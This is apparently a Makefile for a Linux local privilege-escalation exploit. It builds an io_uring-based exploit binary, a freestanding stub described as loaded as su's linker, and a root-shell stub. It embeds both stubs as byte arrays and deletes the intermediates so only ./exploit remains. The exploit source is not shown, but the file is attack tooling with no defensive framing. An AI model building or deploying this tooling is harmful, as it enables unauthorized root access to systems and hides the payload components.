CC       ?= gcc
CFLAGS   ?= -O2 -Wall -Wno-unused-result -static
LIBURING := liburing
INCLUDE  := -I$(LIBURING)/include
# freestanding flags for the interp stub only (kernel enters it as su's linker)
FREE     := -static -no-pie -nostdlib -nostartfiles -ffreestanding -fno-stack-protector -O2

all: exploit

interp_bin: interp.c
	$(CC) $(FREE) -o $@ $<

rootsh_bin: rootsh.c
	$(CC) -O2 -o $@ $<

# emit each stub as a C array, no xxd needed (od + sed are coreutils)
interp_data.h: interp_bin
	{ echo 'unsigned char interp_bin[] = {'; od -An -v -tx1 $< | sed 's/ *\([0-9a-f][0-9a-f]\)/0x\1,/g'; echo '};'; echo "unsigned int interp_bin_len = `wc -c < $<`;"; } > $@

rootsh_data.h: rootsh_bin
	{ echo 'unsigned char rootsh_bin[] = {'; od -An -v -tx1 $< | sed 's/ *\([0-9a-f][0-9a-f]\)/0x\1,/g'; echo '};'; echo "unsigned int rootsh_bin_len = `wc -c < $<`;"; } > $@

exploit: exploit.c interp_data.h rootsh_data.h
	$(CC) $(CFLAGS) $(INCLUDE) -o $@ exploit.c $(LIBURING)/liburing.a

# the stubs and their headers are baked into exploit; drop them after linking
# so only ./exploit is left behind
.INTERMEDIATE: interp_bin rootsh_bin interp_data.h rootsh_data.h

clean:
	rm -f exploit interp_bin rootsh_bin interp_data.h rootsh_data.h

.PHONY: all clean
